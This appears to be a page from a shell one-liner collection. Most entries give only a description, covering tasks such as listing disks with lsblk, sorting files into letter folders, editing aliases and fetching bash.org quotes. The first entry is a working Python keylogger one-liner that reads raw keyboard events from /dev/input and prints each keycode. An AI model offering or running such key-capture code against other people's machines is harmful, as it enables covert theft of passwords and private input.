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keylogger
$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "

Translates a phrase from English to Portuguese
Translates a string from English to Portuguese by using google translator web service.

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Show drive names next to their full serial number (and disk info)
As of this writing, this requires a fairly recent version of util-linux, but is much simpler than the previous alternatives. Basically, lsblk gives a nice, human readable interface to all the blkid stuff. (Of course, I wouldn't recommend this if you're going to be parsing the output.) This command takes all the fun out of the previous nifty pipelines, but I felt I ought to at least mention it as an alternative since it is the most practical.

Sort files in folders alphabetically
Creates one letter folders in the current directory and moves files with corresponding initial in the folder.

va - alias for editing aliases
When setting up a new aliases file, or having creating a new file.. About every time after editing an aliases file, I source it. This alias makes editing alias a bit easier and they are useful right away. Note if the source failed, it will not echo "aliases sourced". Sub in vi for your favorite editor, or alter for ksh, sh, etc.

Random line from bash.org (funny IRC quotes)
bash.org is a collection of funny quotes from IRC. WARNING: some of the quotes contain "adult" jokes... may be embarrassing if your boss sees them... Thanks to Chen for the idea and initial version! This script downloads a page with random quotes, filters the html to retrieve just one liners quotes and outputs the first one. Just barely under the required 255 chars :) Improvment: You can replace the head -1 at the end by: $awk 'length($0)>0 {printf( $0 "\n%%\n" )}' > bash_quotes.txt which will separate the quotes with a "%" and place it in the file. and then: $strfile bash_quotes.txt which will make the file ready for the fortune command and then you can: $fortune bash_quotes.txt which will give you a random quote from those in the downloaded file. I download a file periodically and then use the fortune in .bashrc so I see a funny quote every time I open a terminal.

Salvage a borked terminal
Also works in places where reset does not.

list block devices
Shows all block devices in a tree with descruptions of what they are.

Create incremental snapshots of individual folders using find and tar-gzip
Creates an incremental snapshot of individual folders.


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